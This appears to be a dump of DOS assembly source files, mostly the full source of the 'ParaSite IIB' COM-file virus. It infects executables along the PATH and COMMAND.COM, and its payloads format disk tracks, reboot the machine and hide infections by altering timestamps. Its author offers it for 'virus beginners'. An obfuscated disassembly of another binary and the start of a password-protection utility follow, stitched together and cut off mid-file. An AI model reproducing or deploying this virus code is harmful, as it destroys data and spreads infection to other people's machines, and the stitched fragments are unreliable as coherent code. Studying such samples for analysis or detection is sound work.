MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
POP DS
|
||||
|
||||
quit:
|
||||
MOV BX,OFFSET count
|
||||
CMP BX,0
|
||||
JB joe2
|
||||
POP CX
|
||||
XOR AX,AX ;XOR values so that we will give
|
||||
XOR BX,BX ;poor sucker a hard time trying
|
||||
XOR DX,DX ;reassemble the source code if h
|
||||
XOR SI,SI ;decides to dissassemble us.
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
RET 0FFFFH ;Return back to the beginning
|
||||
;of the program
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
Aurther DB "ParaSite IIB - By: Rock Steady"
|
||||
olddta_ DW 0
|
||||
olddts_ DW 0
|
||||
oldtim_ DW 0
|
||||
count_ DW 0
|
||||
oldate_ DW 0
|
||||
oldatt_ DW 0
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
jmpop_ DB 0E9H
|
||||
jmpdsp_ DW 0
|
||||
fspec_ DB '*.COM',0
|
||||
fipec_ DB 'COMMAND.COM',0
|
||||
pathad_ DW 0
|
||||
namptr_ DW 0
|
||||
envstr_ DB 'PATH='
|
||||
wrkspc_ DB 40h dup (0)
|
||||
dta_ DB 16h dup (0)
|
||||
dtatim_ DW 0,0
|
||||
dtalen_ DW 0,0
|
||||
dtanam_ DB 0Dh dup (0)
|
||||
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
orig_path DB 64 dup (?)
|
||||
root_dir DB '\',0
|
||||
lst_byt EQU $
|
||||
virlen = lst_byt - v_start
|
||||
codelen = vir_dat - v_start
|
||||
c_len_x = vir_dat - v_start - 2
|
||||
c_len_y = vir_dat - v_start + 100H
|
||||
old_dta = olddta_ - vir_dat
|
||||
old_dts = olddts_ - vir_dat
|
||||
old_tim = oldtim_ - vir_dat
|
||||
ol_date = oldate_ - vir_dat
|
||||
old_att = oldatt_ - vir_dat
|
||||
first_3 = first3_ - vir_dat
|
||||
jmp_op = jmpop_ - vir_dat
|
||||
jmp_dsp = jmpdsp_ - vir_dat
|
||||
f_spec = fspec_ - vir_dat
|
||||
f_ipec = fipec_ - vir_dat
|
||||
path_ad = pathad_ - vir_dat
|
||||
nam_ptr = namptr_ - vir_dat
|
||||
env_str = envstr_ - vir_dat
|
||||
wrk_spc = wrkspc_ - vir_dat
|
||||
dta = dta_ - vir_dat
|
||||
dta_tim = dtatim_ - vir_dat
|
||||
dta_len = dtalen_ - vir_dat
|
||||
dta_nam = dtanam_ - vir_dat
|
||||
count = count_ - vir_dat
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
|
@ -0,0 +1,418 @@
|
|||
;********************************************************************
|
||||
; <PARSIT2B.ASM> - ParaSite Virus IIB
|
||||
; By: Rock Steady
|
||||
; Close to one year I created this Virus. As you can see it is quite
|
||||
; old... Maybe too Old... But here it is... It Sucks... but its great
|
||||
; for any virus beginner... Anyhow...
|
||||
; NOTES: Simple COM infector. 10% of the time it reboots the system
|
||||
; 20% it plays machine gun noices on the PC speaker... and
|
||||
; 70% of the time is infects another COM file... Have fun...
|
||||
;********************************************************************
|
||||
MOV_CX MACRO X
|
||||
DB 0B9H
|
||||
DW X
|
||||
ENDM
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG 100H
|
||||
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
NOP
|
||||
NOP ; To identify it as an Infected
|
||||
NOP ; Program!
|
||||
|
||||
v_start equ $
|
||||
|
||||
|
||||
virus: PUSH CX
|
||||
MOV DX,OFFSET vir_dat
|
||||
CLD
|
||||
MOV SI,DX
|
||||
ADD SI,first_3
|
||||
JMP Rock_1
|
||||
Rock_2:
|
||||
MOV DX,dta
|
||||
ADD DX,SI
|
||||
MOV AH,1AH
|
||||
INT 21H
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
MOV DI,0
|
||||
JMP Day_Of_Week
|
||||
Rock_1:
|
||||
MOV CX,3
|
||||
MOV DI,OFFSET 100H
|
||||
REPZ MOVSB
|
||||
MOV SI,DX
|
||||
PUSH ES
|
||||
MOV AH,2FH
|
||||
INT 21H
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES
|
||||
POP ES
|
||||
JMP Rock_2
|
||||
|
||||
Day_Of_Week:
|
||||
MOV AH,2AH ;Get System date!
|
||||
INT 21H
|
||||
CMP AL,1 ;Check to See if it's Monday!
|
||||
JGE day_check ;Jump if later than Mondays
|
||||
JMP Get_Time
|
||||
day_check:
|
||||
CMP AL,1 ;Check to see if it is the 1st
|
||||
JA Get_Time ;If yes, create a MESS...
|
||||
JMP Bad_Mondays ;If not, then go on with infecti
|
||||
mess:
|
||||
|
||||
Bad_Mondays:
|
||||
MOV DL,2 ;The Formatting Tracks..
|
||||
MOV AH,05
|
||||
MOV DH,80h
|
||||
MOV CH,0
|
||||
INT 13h
|
||||
|
||||
Play_music:
|
||||
MOV CX,20d ;Set number of Shots
|
||||
new_shot:
|
||||
PUSH CX ;Save Count
|
||||
CALL Shoot
|
||||
MOV CX,4000H
|
||||
Silent: LOOP silent
|
||||
POP CX
|
||||
LOOP new_Shot
|
||||
JMP mess
|
||||
|
||||
SHOOT proc near ;The Machine Gun Noices...
|
||||
MOV DX,140h
|
||||
MOV BX,20h
|
||||
IN AL,61h
|
||||
AND AL,11111100b
|
||||
SOUND: XOR AL,2
|
||||
OUT 61h,al
|
||||
ADD dx,9248h
|
||||
MOV CL,3
|
||||
ROR DX,CL
|
||||
MOV CX,DX
|
||||
AND cx,1ffh
|
||||
OR CX,10
|
||||
WAITA: LOOP WAITA
|
||||
DEC BX
|
||||
JNZ SOUND
|
||||
AND AL,11111100b
|
||||
OUT 61h,AL
|
||||
RET
|
||||
Shoot Endp
|
||||
|
||||
Get_Time:
|
||||
MOV AH,2Ch ; Get System Time!
|
||||
INT 21h ;
|
||||
AND DH,0fh
|
||||
CMP DH,3
|
||||
JB Play_music
|
||||
CMP DH,3h
|
||||
JA Find_Path
|
||||
INT 19h
|
||||
|
||||
go:
|
||||
MOV AH, 47H
|
||||
XOR DL,DL
|
||||
ADD SI, OFFSET orig_path - OFFSET buffer - 8
|
||||
INT 21H
|
||||
JC find_path
|
||||
|
||||
MOV AH,3BH
|
||||
MOV DX,SI
|
||||
ADD DX, OFFSET root_dir - OFFSET orig_path
|
||||
INT 21H
|
||||
|
||||
infect_root:
|
||||
MOV [BX+nam_ptr],DI
|
||||
MOV SI,BX
|
||||
ADD SI,f_ipec
|
||||
MOV CX,6
|
||||
REPZ MOVSB
|
||||
JMP hello
|
||||
|
||||
find_path:
|
||||
POP SI ; Seek and Destroy...
|
||||
PUSH SI
|
||||
ADD SI,env_str
|
||||
LODSB
|
||||
MOV CX,OFFSET 8000H
|
||||
REPNZ SCASB
|
||||
MOV CX,4
|
||||
|
||||
check_next_4:
|
||||
LODSB
|
||||
SCASB
|
||||
;
|
||||
; The JNZ line specifies that if there is no PATH present, then we will
|
||||
; along and infect the ROOT directory on the default drive.
|
||||
|
||||
JNZ find_path ;If not path, then go to ROOT di
|
||||
LOOP check_next_4 ;Go back and check for more char
|
||||
POP SI ;Load in PATH again to look for
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc
|
||||
MOV BX,SI
|
||||
ADD SI,wrk_spc ;the File Handle
|
||||
MOV DI,SI
|
||||
JMP SHORT slash_ok
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0
|
||||
JNZ found_subdir
|
||||
JMP all_done
|
||||
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad]
|
||||
ADD DI,wrk_spc ;DI is the handle to infect!
|
||||
|
||||
|
||||
move_subdir:
|
||||
LODSB ;To tedious work to move into su
|
||||
NOP
|
||||
CMP AL,';' ;Does it end with a ; character?
|
||||
JZ moved_one ;if yes, then we found a subdir
|
||||
CMP AL,0 ;is it the end of the path?
|
||||
JZ moved_last_one ;if yes, then we save the PATH
|
||||
STOSB ;marker into DI for future refer
|
||||
JMP SHORT move_subdir
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
moved_one:
|
||||
POP BX ;BX is where the virus data is
|
||||
POP DS ;Restore DS
|
||||
NOP
|
||||
MOV [BX+path_ad],SI ;Where is the next subdir?
|
||||
CMP CH,'\' ;Check to see if it ends in \
|
||||
JZ slash_ok ;If yes, then it's OK
|
||||
MOV AL,'\' ;if not, then add one...
|
||||
STOSB ;store the sucker
|
||||
|
||||
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Move the filename into workspac
|
||||
MOV SI,BX ;Restore the original SI value
|
||||
ADD SI,f_spec ;Point to COM file victim
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move victim into workspace
|
||||
hello:
|
||||
MOV SI,BX
|
||||
MOV AH,4EH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI ;DX is ... The File to infect
|
||||
MOV CX,3 ;Attributes of Read Only or Hidd
|
||||
INT 21H
|
||||
JMP SHORT find_first
|
||||
joe1:
|
||||
JMP go
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirec
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1EH ;Mask to remove all but seconds
|
||||
CMP AL,1EH ;60 seconds
|
||||
JZ find_next
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
|
||||
JA find_next ;If too long, find another one
|
||||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||||
JB find_next ;Then go find another one
|
||||
MOV DI,[SI+nam_ptr]
|
||||
PUSH SI
|
||||
ADD SI,dta_nam
|
||||
|
||||
more_chars:
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars
|
||||
POP SI
|
||||
MOV AX,OFFSET 4300H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV [SI+old_att],CX
|
||||
MOV AX,OFFSET 4301H
|
||||
AND CX,OFFSET 0FFFEH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV AX,OFFSET 3D02H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
JNB opened_ok
|
||||
JMP fix_attr
|
||||
|
||||
opened_ok:
|
||||
MOV BX,AX
|
||||
MOV AX,OFFSET 5700H
|
||||
INT 21H
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
MOV AH,2CH
|
||||
INT 21H
|
||||
AND DH,7
|
||||
JMP infect
|
||||
|
||||
|
||||
infect:
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,first_3
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
JB fix_time_stamp
|
||||
CMP AX,3
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4202H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV CX,AX
|
||||
SUB AX,3
|
||||
MOV [SI+jmp_dsp],AX
|
||||
ADD CX,OFFSET c_len_y
|
||||
MOV DI,SI
|
||||
SUB DI,OFFSET c_len_x
|
||||
JMP CONT
|
||||
JOE2:
|
||||
JMP JOE1
|
||||
CONT:
|
||||
MOV [DI],CX
|
||||
MOV AH,40H
|
||||
MOV_CX virlen
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
CMP AX,OFFSET virlen
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI
|
||||
ADD DX,jmp_op
|
||||
INT 21H
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date]
|
||||
MOV CX,[SI+old_tim]
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1EH
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att]
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
POP DS
|
||||
|
||||
quit:
|
||||
MOV BX,OFFSET count
|
||||
CMP BX,0
|
||||
JB joe2
|
||||
POP CX
|
||||
XOR AX,AX ;XOR values so that we will give
|
||||
XOR BX,BX ;poor sucker a hard time trying
|
||||
XOR DX,DX ;reassemble the source code if h
|
||||
XOR SI,SI ;decides to dissassemble us.
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
RET 0FFFFH ;Return back to the beginning
|
||||
;of the program
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
Aurther DB "ParaSite IIB - By: Rock Steady"
|
||||
olddta_ DW 0
|
||||
olddts_ DW 0
|
||||
oldtim_ DW 0
|
||||
count_ DW 0
|
||||
oldate_ DW 0
|
||||
oldatt_ DW 0
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
jmpop_ DB 0E9H
|
||||
jmpdsp_ DW 0
|
||||
fspec_ DB '*.COM',0
|
||||
fipec_ DB 'COMMAND.COM',0
|
||||
pathad_ DW 0
|
||||
namptr_ DW 0
|
||||
envstr_ DB 'PATH='
|
||||
wrkspc_ DB 40h dup (0)
|
||||
dta_ DB 16h dup (0)
|
||||
dtatim_ DW 0,0
|
||||
dtalen_ DW 0,0
|
||||
dtanam_ DB 0Dh dup (0)
|
||||
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
orig_path DB 64 dup (?)
|
||||
root_dir DB '\',0
|
||||
lst_byt EQU $
|
||||
virlen = lst_byt - v_start
|
||||
codelen = vir_dat - v_start
|
||||
c_len_x = vir_dat - v_start - 2
|
||||
c_len_y = vir_dat - v_start + 100H
|
||||
old_dta = olddta_ - vir_dat
|
||||
old_dts = olddts_ - vir_dat
|
||||
old_tim = oldtim_ - vir_dat
|
||||
ol_date = oldate_ - vir_dat
|
||||
old_att = oldatt_ - vir_dat
|
||||
first_3 = first3_ - vir_dat
|
||||
jmp_op = jmpop_ - vir_dat
|
||||
jmp_dsp = jmpdsp_ - vir_dat
|
||||
f_spec = fspec_ - vir_dat
|
||||
f_ipec = fipec_ - vir_dat
|
||||
path_ad = pathad_ - vir_dat
|
||||
nam_ptr = namptr_ - vir_dat
|
||||
env_str = envstr_ - vir_dat
|
||||
wrk_spc = wrkspc_ - vir_dat
|
||||
dta = dta_ - vir_dat
|
||||
dta_tim = dtatim_ - vir_dat
|
||||
dta_len = dtalen_ - vir_dat
|
||||
dta_nam = dtanam_ - vir_dat
|
||||
count = count_ - vir_dat
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
|
@ -0,0 +1,227 @@
|
|||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ PART ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 10-Aug-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: J ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_11e equ 0F42h ;*
|
||||
data_13e equ 2F42h ;*
|
||||
data_14e equ 3F42h ;*
|
||||
data_15e equ 65C4h ;*
|
||||
data_16e equ 7090h ;*
|
||||
data_17e equ 75C4h ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
part proc far
|
||||
|
||||
start:
|
||||
esc 5,dh ; coprocessor escape
|
||||
db 0D6h, 2Fh, 12h, 24h, 01h, 49h
|
||||
db 44h, 7Eh, 2Eh, 82h, 01h,0F1h
|
||||
db 0F9h, 90h,0DCh,0C3h, 21h, 74h
|
||||
db 0EAh, 42h,0EDh, 72h, 81h, 7Bh
|
||||
db 0B5h,0E4h, 6Eh, 71h, 64h, 4Ah
|
||||
db 19h,0B6h,0CAh, 28h,0E0h, 17h
|
||||
db 0C6h,0B5h, 33h, 36h, 09h,0C2h
|
||||
db 0A3h,0A1h, 21h, 9Eh, 30h, 74h
|
||||
db 0C5h, 51h,0E1h, 91h, 24h, 99h
|
||||
db 93h, 0Fh,0D0h, 0Dh, 0Ah, 69h
|
||||
db 0FEh,0ACh, 27h, 10h,0C5h,0A5h
|
||||
db 1Eh, 94h,0AEh, 1Bh,0DAh, 4Eh
|
||||
db 49h, 58h, 2Fh, 1Dh, 65h,0E4h
|
||||
db 74h,0F6h, 7Eh, 22h, 61h, 2Eh
|
||||
db 0D2h,0FDh, 56h, 92h
|
||||
db 2Eh
|
||||
loc_1:
|
||||
in ax,0F7h ; port 0F7h ??I/O Non-standard
|
||||
lds cx,dword ptr [bp+di+75h] ; Load 32 bit ptr
|
||||
mov [bp+si],es
|
||||
sbb al,0DEh
|
||||
sub bp,cx
|
||||
out 0Eh,ax ; port 0Eh, DMA-1 clr mask reg
|
||||
adc al,3Eh ; '>'
|
||||
sub ax,73Eh
|
||||
and [bx-39h],dh
|
||||
pop bp
|
||||
pop bx
|
||||
mov dx,0D157h
|
||||
and [bp+si],ax
|
||||
inc sp
|
||||
pop si
|
||||
mov si,ax
|
||||
;* pop cs ; Dangerous 8088 only
|
||||
db 0Fh
|
||||
pop cx
|
||||
rcl byte ptr [bp+di+53h],cl ; Rotate thru carry
|
||||
pop di
|
||||
loop locloop_4 ; Loop if cx > 0
|
||||
|
||||
sub [bx-17h],ch
|
||||
xor ax,398Ah
|
||||
sal bh,1 ; Shift w/zeros fill
|
||||
aaa ; Ascii adjust
|
||||
or [bp+si+7AF0h],ch
|
||||
loopnz $+36h ; Loop if zf=0, cx>0
|
||||
|
||||
xchg ax,bp
|
||||
and al,0E4h
|
||||
jl loc_1 ; Jump if <
|
||||
call $-52ACh
|
||||
xchg ax,cx
|
||||
retn 10E7h
|
||||
push di
|
||||
int 3 ; Debug breakpoint
|
||||
xchg ax,bp
|
||||
sub dh,bh
|
||||
inc cx
|
||||
into ; Int 4 on overflow
|
||||
aaa ; Ascii adjust
|
||||
dec sp
|
||||
db 6Ah
|
||||
|
||||
locloop_4:
|
||||
push ss
|
||||
jmp $+422Bh
|
||||
;* call far ptr sub_1 ;*
|
||||
db 9Ah, 53h, 67h,0FFh, 82h
|
||||
db 68h,0E9h, 4Bh,0DCh, 76h,0CBh
|
||||
db 0E7h, 4Ah,0E4h, 8Ah, 92h,0E2h
|
||||
db 03h, 54h,0CCh, 85h
|
||||
|
||||
locloop_5:
|
||||
xor ah,al
|
||||
push cs
|
||||
retn
|
||||
db 6Eh, 5Bh, 7Fh, 01h,0E8h, 7Dh
|
||||
db 0Fh, 86h, 52h, 56h,0F9h,0AEh
|
||||
db 2Fh, 95h, 4Bh,0FDh, 77h,0E0h
|
||||
db 0E8h, 69h,0ADh
|
||||
db 0BBh, 85h, 97h, 02h, 7Ch,0CBh
|
||||
db 0A8h, 39h,0DAh, 2Eh, 80h, 4Ah
|
||||
db 74h, 8Ch, 4Ch, 85h, 6Dh, 42h
|
||||
db 0FFh, 21h, 35h, 90h,0D0h, 48h
|
||||
db 0A5h, 24h, 9Dh, 12h, 82h, 89h
|
||||
db 0Dh,0C4h,0C5h,0E2h,0A7h, 71h
|
||||
db 15h,0B8h,0CCh, 5Ch,0A7h
|
||||
db 2Eh
|
||||
loc_6:
|
||||
nop
|
||||
pop ss
|
||||
or [bp+di],cl
|
||||
inc sp
|
||||
test bx,ds:data_11e[di]
|
||||
and bp,ax
|
||||
nop
|
||||
and [bx+si+55h],cl
|
||||
and al,6Dh ; 'm'
|
||||
adc dh,[bp+si-77h]
|
||||
std ; Set direction flag
|
||||
les si,dword ptr [di] ; Load 32 bit ptr
|
||||
;* loop locloop_12 ;*Loop if cx > 0
|
||||
|
||||
db 0E2h, 57h
|
||||
jno loc_6 ; Jump if not overflw
|
||||
mov ax,5C3Ch
|
||||
push di
|
||||
loc_8:
|
||||
db 2Eh, 60h, 17h,0F8h, 0Bh,0B4h
|
||||
db 85h, 8Dh, 42h, 1Fh, 21h,0D5h
|
||||
db 90h, 30h, 48h, 45h, 24h, 7Dh
|
||||
db 12h, 62h, 89h,0EDh,0C4h, 25h
|
||||
db 0E2h, 47h, 71h,0F5h,0B8h
|
||||
db 2Ch, 5Ch, 47h, 2Eh
|
||||
loc_9:
|
||||
jo loc_11 ; Jump if overflow=1
|
||||
call $-5BF2h
|
||||
test di,ds:data_13e[di]
|
||||
and bp,sp
|
||||
nop
|
||||
add [bx+si+75h],cl
|
||||
and al,4Dh ; 'M'
|
||||
adc dl,[bp+si-77h]
|
||||
esc 5,ah ; coprocessor escape
|
||||
adc ax,77E2h
|
||||
loc_11:
|
||||
jno loc_8 ; Jump if not overflw
|
||||
mov ax,5C1Ch
|
||||
ja loc_13 ; Jump if above
|
||||
inc ax
|
||||
pop ss
|
||||
esc 0,[bp+di] ; coprocessor escape
|
||||
xchg ax,sp
|
||||
test bp,ds:data_14e[di]
|
||||
and bp,si
|
||||
nop
|
||||
adc [bx+si+65h],cl
|
||||
and al,5Dh ; ']'
|
||||
adc al,[bp+si-77h]
|
||||
int 0C4h ; ??INT Non-standard interrupt
|
||||
add ax,67E2h
|
||||
;* jno loc_10 ;*Jump if not overflw
|
||||
db 71h,0D5h
|
||||
mov ax,5C0Ch
|
||||
db 67h, 2Eh, 50h, 17h,0C8h, 0Bh
|
||||
db 84h, 85h,0DDh, 42h, 4Fh, 21h
|
||||
db 85h, 90h
|
||||
db 60h, 48h
|
||||
loc_13:
|
||||
adc ax,2D24h
|
||||
adc dh,[bp+si]
|
||||
mov ds:data_17e[di],di
|
||||
;* loop locloop_15 ;*Loop if cx > 0
|
||||
|
||||
db 0E2h, 17h
|
||||
jno loc_9 ; Jump if not overflw
|
||||
mov ax,5C7Ch
|
||||
pop ss
|
||||
and cs:[bx],dl
|
||||
mov ax,0F40Bh
|
||||
test cx,bp
|
||||
inc dx
|
||||
pop di
|
||||
and ds:data_16e[di],dx
|
||||
dec ax
|
||||
add ax,3D24h
|
||||
adc ah,[bp+si]
|
||||
mov ds:data_15e[di],bp
|
||||
loop $+9 ; Loop if cx > 0
|
||||
|
||||
;* jno locloop_12 ;*Jump if not overflw
|
||||
db 71h,0B5h
|
||||
mov ax,5C6Ch
|
||||
pop es
|
||||
xor cs:[bx],dl
|
||||
test al,8Bh
|
||||
in ax,84h ; port 84h ??I/O Non-standard
|
||||
std ; Set direction flag
|
||||
inc si
|
||||
db 61h, 30h, 55h, 81h, 40h, 48h
|
||||
db 35h,0DAh,0E2h, 12h, 12h, 89h
|
||||
db 9Dh,0C5h,0A4h,0E7h, 39h,0A0h
|
||||
db 62h,0B7h,0ACh, 5Ch, 37h, 27h
|
||||
db 0F4h, 15h, 98h, 0Bh,0D4h, 85h
|
||||
db 0EDh, 42h, 7Fh, 21h,0B5h, 90h
|
||||
db 50h, 48h, 25h, 24h, 1Dh, 12h
|
||||
db 02h, 89h, 8Dh,0C4h, 45h,0E2h
|
||||
db 27h, 71h, 95h,0B8h, 4Ch, 5Ch
|
||||
db 27h, 2Eh, 10h, 17h, 88h, 5Eh
|
||||
db 6Eh, 00h
|
||||
|
||||
part endp
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
|
@ -0,0 +1,401 @@
|
|||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Black Wolf's File Protection Utilities 2.1s
|
||||
;
|
||||
;PassCOM - This program password protects the specified file by attaching
|
||||
; code from PW_COM onto the file so that it will check for passwords
|
||||
; each execution. It utilizes ULTIMUTE .93á to protect then PW_COM
|
||||
; code from easy manipulation.
|
||||
;
|
||||
;LISCENSE:
|
||||
; Released As Freeware - These files may be distributed freely.
|
||||
;
|
||||
;Any modifications made to this program should be listed below the solid line,
|
||||
;along with the name of the programmer and the date the file was changed.
|
||||
;Also - they should be commented where changed.
|
||||
;
|
||||
;NOTE THAT MODIFICATION PRIVILEDGES APPLY ONLY TO THIS VERSION (2.1s)!
|
||||
;I'd appreciate notification of any modifications if at all possible,
|
||||
;reach me through the address listed in the documentation file (bwfpu21s.doc).
|
||||
;
|
||||
;DISCLAIMER: The author takes ABSOLUTELY NO RESPONSIBILITY for any damages
|
||||
;resulting from the use/misuse of this program/file. The user agrees to hold
|
||||
;the author harmless for any consequences that may occur directly or
|
||||
;indirectly from the use of this program by utilizing this program/file
|
||||
;in any manner.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;Modifications:
|
||||
; None as of 08/05/93 - Initial Release.
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
org 100
|
||||
|
||||
extrn _ULTMUTE:near, _END_ULTMUTE:byte
|
||||
|
||||
start:
|
||||
call GetFilename
|
||||
call Get_Passes
|
||||
call EncryptGP
|
||||
call Do_File
|
||||
mov ax,4c00
|
||||
int 21
|
||||
;---------------------------------------------------------------------------
|
||||
GetFilename:
|
||||
mov ah,09
|
||||
mov dx,offset Message
|
||||
int 21
|
||||
|
||||
mov dx,offset Filename_Data
|
||||
mov al,60
|
||||
call gets
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
Get_Passes:
|
||||
Clear_Out_Passes:
|
||||
mov di,offset Entered_Pass
|
||||
mov cx,0ch ;Clear out entered pass.
|
||||
xor ax,ax
|
||||
repnz stosb
|
||||
mov di,offset Password
|
||||
mov cx,0ch ;Clear out entered pass.
|
||||
xor ax,ax
|
||||
repnz stosb
|
||||
|
||||
mov ah,09
|
||||
mov dx,offset Req_Pass
|
||||
int 21
|
||||
|
||||
mov di,offset Entered_Pass
|
||||
mov cx,0ch
|
||||
call GetPass
|
||||
|
||||
mov ah,09
|
||||
mov dx, offset Dup_Pass
|
||||
int 21
|
||||
|
||||
mov di,offset Password
|
||||
mov cx,0ch
|
||||
call GetPass
|
||||
|
||||
call Check_Passwords
|
||||
jc Get_Passes
|
||||
|
||||
mov di,offset Entered_Pass
|
||||
mov cx,0dh ;Clear out entered pass.
|
||||
xor ax,ax
|
||||
repnz stosb
|
||||
|
||||
Randomize_Keys:
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,word ptr ds:[46c] ;Randomizes encryption
|
||||
pop ds
|
||||
mov word ptr [Key1],ax
|
||||
xor ax,1f3eh
|
||||
ror ax,1
|
||||
mov word ptr [Key2],ax
|
||||
|
||||
|
||||
|
||||
Encrypt_Password: ;This algorithm needs extra work...
|
||||
mov bx,word ptr [Key1]
|
||||
mov dx,word ptr [Key2] ;Encrypt the password
|
||||
mov si,offset Password
|
||||
mov di,si
|
||||
mov cx,6
|
||||
EncryptIt:
|
||||
lodsw
|
||||
xor ax,bx
|
||||
add bx,dx
|
||||
stosw
|
||||
loop EncryptIt
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
Message:
|
||||
db 'PassCOM 2.0 (c) 1993 Black Wolf Enterprises.',0a,0dh
|
||||
db 'Enter Filename To Protect -> $'
|
||||
;---------------------------------------------------------------------------
|
||||
Req_Pass db 0a,0dh,'Now Enter Password (up to 12 chars): $'
|
||||
Dup_Pass db 0a,0dh,'Re-Enter Password: $'
|
||||
Passes_Not db 0a,0dh,'Passwords do not match. Try again.',0a,0dh,24
|
||||
;---------------------------------------------------------------------------
|
||||
Check_Passwords:
|
||||
